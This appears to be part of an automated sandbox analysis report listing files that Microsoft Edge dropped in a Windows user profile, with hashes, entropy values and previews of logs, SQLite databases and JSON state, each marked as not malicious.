File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.140428166241977
Encrypted:	false
SSDEEP:	6:Hq8syq2P923oH+Tcwt865IFUt8Yq8n11Zmw+Yq8njRkwO923oH+Tcwt86+ULJ:Kzyv4Yeb/WFUt8Xs/+X8R5LYeb/+SJ
MD5:	4E1DD66EA9CD787667176C2489F45E54
SHA1:	6144D9D2D7DDEB513A63F754A3F8822EB424483D
SHA-256:	AAEC1C1B5A5CD714F746CE68DE96E5B81E3CF721D90EB47B812C77673081BA35
SHA-512:	0D1D7ED326406EFE4AF23C4220093C21C06162375444940194539F8D7CB7A1244A0EE30CBAABC425CD46EA15EB13E316E2C57F331EE43B0A390509E12075B589
Malicious:	false
Preview:	2024/11/24-17:24:22.014 1930 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-17:24:22.015 1930 Recovering log #3.2024/11/24-17:24:22.015 1930 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.140428166241977
Encrypted:	false
SSDEEP:	6:Hq8syq2P923oH+Tcwt865IFUt8Yq8n11Zmw+Yq8njRkwO923oH+Tcwt86+ULJ:Kzyv4Yeb/WFUt8Xs/+X8R5LYeb/+SJ
MD5:	4E1DD66EA9CD787667176C2489F45E54
SHA1:	6144D9D2D7DDEB513A63F754A3F8822EB424483D
SHA-256:	AAEC1C1B5A5CD714F746CE68DE96E5B81E3CF721D90EB47B812C77673081BA35
SHA-512:	0D1D7ED326406EFE4AF23C4220093C21C06162375444940194539F8D7CB7A1244A0EE30CBAABC425CD46EA15EB13E316E2C57F331EE43B0A390509E12075B589
Malicious:	false
Preview:	2024/11/24-17:24:22.014 1930 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-17:24:22.015 1930 Recovering log #3.2024/11/24-17:24:22.015 1930 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1572386356206055
Encrypted:	false
SSDEEP:	6:HqWyL4q2P923oH+Tcwt8NIFUt8YqWyLJZmw+YqW7kwO923oH+Tcwt8+eLJ:Kyv4YebpFUt8X7/+Xg5LYebqJ
MD5:	CFC67BC26D9FE6513C4A604A0C81C5B4
SHA1:	E19DB22B518719C0A443C7CD3756190A3EB542FF
SHA-256:	04FD0533E166218D07E259140939AE82D16EC9087D2DD80B63E12F916A0631FE
SHA-512:	2F69750463D07859C53F2DF06A755961BA3CE5F3600215ADFCB3C8C35681226134B2179EFEB43867A8E7AD62970C992710F365D3D5450B08A90F9813CCA2CD01
Malicious:	false
Preview:	2024/11/24-17:24:22.993 694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-17:24:22.993 694 Recovering log #3.2024/11/24-17:24:22.994 694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1572386356206055
Encrypted:	false
SSDEEP:	6:HqWyL4q2P923oH+Tcwt8NIFUt8YqWyLJZmw+YqW7kwO923oH+Tcwt8+eLJ:Kyv4YebpFUt8X7/+Xg5LYebqJ
MD5:	CFC67BC26D9FE6513C4A604A0C81C5B4
SHA1:	E19DB22B518719C0A443C7CD3756190A3EB542FF
SHA-256:	04FD0533E166218D07E259140939AE82D16EC9087D2DD80B63E12F916A0631FE
SHA-512:	2F69750463D07859C53F2DF06A755961BA3CE5F3600215ADFCB3C8C35681226134B2179EFEB43867A8E7AD62970C992710F365D3D5450B08A90F9813CCA2CD01
Malicious:	false
Preview:	2024/11/24-17:24:22.993 694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-17:24:22.993 694 Recovering log #3.2024/11/24-17:24:22.994 694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2166054530205841
Encrypted:	false
SSDEEP:	3:13jtFlljq7A/mhWJFuQ3yy7IOWUlCGl/4dweytllrE9SFcTp4AGbNCV9RUItGn:W75fOeyQd0Xi99pEY2
MD5:	E1DED1854E4445AC2D52FECF75D2786F
SHA1:	E7DEA8C53D29ECD128280B3DE46EF4487E74A266
SHA-256:	0E2C0AEF19E8BAFC738E8041532857336D5E8959442B47EB5B3906912B3B6E61
SHA-512:	459328896CFAF2091C9C86DAC3A7C1B1AC66444A834F3294C4E99B06AC98B1B49F83377274E764145785565338760BD35409E356FC21F9675D70C258B0FF832B
Malicious:	false
Preview:	............aig#...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647696883235204
Encrypted:	false
SSDEEP:	384:aj9P0JEQkQer0cdgam6IJP/Kbt4jl8hj773pLLRKToaAu:adXe23gZP/Ll8F7NRKcC
MD5:	3B9E5F32E0B3487F22FF66406761B2A8
SHA1:	D3610EDA95E8D12B51206E1D5CDBAB4F7AF37578
SHA-256:	9D40B75228E877DE11A4F09F29D908E666E09AF14FC1445C477939C817626F91
SHA-512:	ED36B94517AED81C8B801BCF07B1A3D666EE363DEE7128A4B44EED47E7F2AB5ABE7213F5D4F34F5E0CC7B01CC8577B10D656DC601174C19DF617168888D72084
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.275346240421767
Encrypted:	false
SSDEEP:	12:KVv4Yeb8rcHEZrELFUt8Xg/+X0o5LYeb8rcHEZrEZSJ:C4Yeb8nZrExg8ayLYeb8nZrEZe
MD5:	F7682B9A794144D84F1B86F95F1698CF
SHA1:	71BE2351A67358C9D279286998D85437CDE0A330
SHA-256:	E1DB63921A258591FE3AD9DFE7FF4BF8444D8EEBA8804C9C49736FA54222C2E1
SHA-512:	F108C1A7004E75F60702007EE3D61E9EADAAC9A7ED1F5E265A56A764B93F5356E90BD6CFDAB8F4514D8A22B3BE30792BE344969D312891B35178168F64CCA657
Malicious:	false
Preview:	2024/11/24-17:24:26.644 694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-17:24:26.644 694 Recovering log #3.2024/11/24-17:24:26.645 694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.275346240421767
Encrypted:	false
SSDEEP:	12:KVv4Yeb8rcHEZrELFUt8Xg/+X0o5LYeb8rcHEZrEZSJ:C4Yeb8nZrExg8ayLYeb8nZrEZe
MD5:	F7682B9A794144D84F1B86F95F1698CF
SHA1:	71BE2351A67358C9D279286998D85437CDE0A330
SHA-256:	E1DB63921A258591FE3AD9DFE7FF4BF8444D8EEBA8804C9C49736FA54222C2E1
SHA-512:	F108C1A7004E75F60702007EE3D61E9EADAAC9A7ED1F5E265A56A764B93F5356E90BD6CFDAB8F4514D8A22B3BE30792BE344969D312891B35178168F64CCA657
Malicious:	false
Preview:	2024/11/24-17:24:26.644 694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-17:24:26.644 694 Recovering log #3.2024/11/24-17:24:26.645 694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.6803567739241245
Encrypted:	false
SSDEEP:	24:BZZWplv1jF5Z+pxXZB/W2sFV03y1x4syMyCWApMUlH7rkTN5zgFHHmi28/V:PZ8tx3+pxXZY2iV03Sx4SyCP6B+HH32M
MD5:	89B1AF4F2EDCC3C6C5CFFFC9E9BECA1D
SHA1:	CD5544C12F16BE2B567171114164F6AB1640DF60
SHA-256:	F8A5C1594DE922AFF4650D58338EA9577F7EC5D34E41509D5F087570F096E604
SHA-512:	D82AFBE04D2D3B281DDAA5140D874340FB80DF1337B2E1E265B6F421FEA225E72D2D1FDC6A220B6404C7A9C6E9F58FCA4DE897160BDB1EDD293D1C7EE34DC6D7
Malicious:	false
Preview:	~.?&.................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732487077114.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732487078740.._https://ntp.msn.com..MUID!.0A261308FCDB683529D90649FDDC6975.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732487077209,"schedule":[11,-1,-1,4,31,-1,-1],"scheduleFixed":[11,-1,-1,4,31,-1,-1],"simpleSchedule":[12,10,27,24,39,43,11]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732487077076.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sun Nov 24 2024 17:24:36 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1473626131680295
Encrypted:	false
SSDEEP:	6:HqchUXSVq2P923oH+Tcwt8a2jMGIFUt8YqcafgZmw+YqcKIkwO923oH+Tcwt8a23:Kch3v4Yeb8EFUt8XcaY/+Xc95LYeb8bJ
MD5:	3CF4AE2A09F2D45F1C73318E5D42726F
SHA1:	62A296508FF88B44FAFC73F6CF65AA5E28E7EE92
SHA-256:	71B3B72C64CE5F8EF28B9D8B89733869B5B191E076DA156B9C9A7B1527B57B51
SHA-512:	43BCAC9ADB4966445EEAEDD16F4CA503A40AA5794032A78739ADE5719F46A5D5620882849274A58BA663FADF34CA4EBA1644BF00A62D461316CD715E5EC81A79
Malicious:	false
Preview:	2024/11/24-17:24:22.362 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-17:24:22.363 1db4 Recovering log #3.2024/11/24-17:24:22.378 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1473626131680295
Encrypted:	false
SSDEEP:	6:HqchUXSVq2P923oH+Tcwt8a2jMGIFUt8YqcafgZmw+YqcKIkwO923oH+Tcwt8a23:Kch3v4Yeb8EFUt8XcaY/+Xc95LYeb8bJ
MD5:	3CF4AE2A09F2D45F1C73318E5D42726F
SHA1:	62A296508FF88B44FAFC73F6CF65AA5E28E7EE92
SHA-256:	71B3B72C64CE5F8EF28B9D8B89733869B5B191E076DA156B9C9A7B1527B57B51
SHA-512:	43BCAC9ADB4966445EEAEDD16F4CA503A40AA5794032A78739ADE5719F46A5D5620882849274A58BA663FADF34CA4EBA1644BF00A62D461316CD715E5EC81A79
Malicious:	false
Preview:	2024/11/24-17:24:22.362 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-17:24:22.363 1db4 Recovering log #3.2024/11/24-17:24:22.378 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3e935620-3bed-42f7-9ef2-3313df49a5bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7ff1570e-5d30-4277-a682-ce6f59fcc76e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\88d2b421-d653-419c-8b91-c21f034982e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7747588359745214
Encrypted:	false
SSDEEP:	96:te+AuvZZFTLxGNegTCLnjvKSokpXA6+PeCpotXckO0L/ZJV8Y:tTR3uTCbjy7EXAB5potXcf0L/ZJVb
MD5:	7DD4C582018D41DEAE780D5FAD3744EE
SHA1:	F825A6E0A43D1F08AC46FEAB7D7908746AC1D49D
SHA-256:	13C851F7794A0652FB0D525E2B0099D0B1378C2E210B4AC63797CB0D27F56326
SHA-512:	032A659BBEB0F724D90FBC4C0B6F5677D6B6470C4D6F8DDF7FEE6516BF204E33CFCE0F956C3F3CAA90BA11E0D9C6915E4C89DB01B45CF125B71B3186296260E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.34078867284857
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsTZVMdmRds4ZFRudFGRw6ma3yeesw6maPsw6C1VdsF5yZC52HT/bxX:YcgCzs9tsIfc7leeBkBRsFACgHDbxo+
MD5:	546C02EA327BA07639AB4160A538BFD5
SHA1:	215C120FDEE35E8D5ED955A55A4AF046777731D9
SHA-256:	A942251F704AA11C58AB17564D57FEE3886B62E82DA7770D363A00B7EB47E3FB
SHA-512:	317BD75AFB22FFFD7F2251ED8D140A21A71BFCC1BE8742D0DF2B23D769FF09B080B6826D80394CFD8D1F678900C634FA23AA7114D8270D518DD82C3E3F8A08FD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379552666071802","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379552670895875","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1109841918800845
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9W2:uIEumQv8m1ccnvS6s0
MD5:	FE34D6A07E4ADE39BB7D65C41614D03D
SHA1:	207A9717F1C8D74DBC35F85E090030928DE420D0
SHA-256:	A22BD7881206039CD9C1F7D6708F16A4153A811F86C9D5B0361E41CE64FD0AD7
SHA-512:	5475EDC52F60D8D33C08468931216E8848DD2CD6F0AB79581E20858EE3B1697D2CC7D724CD1FED97B73B35ED19817B20B6620354978E70ED827042595A1BE6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF383e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39ba5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b630d37d-8df3-457a-8295-814456d47326.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1546
Entropy (8bit):	5.34078867284857
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsTZVMdmRds4ZFRudFGRw6ma3yeesw6maPsw6C1VdsF5yZC52HT/bxX:YcgCzs9tsIfc7leeBkBRsFACgHDbxo+
MD5:	546C02EA327BA07639AB4160A538BFD5
SHA1:	215C120FDEE35E8D5ED955A55A4AF046777731D9
SHA-256:	A942251F704AA11C58AB17564D57FEE3886B62E82DA7770D363A00B7EB47E3FB
SHA-512:	317BD75AFB22FFFD7F2251ED8D140A21A71BFCC1BE8742D0DF2B23D769FF09B080B6826D80394CFD8D1F678900C634FA23AA7114D8270D518DD82C3E3F8A08FD
Malicious:	false
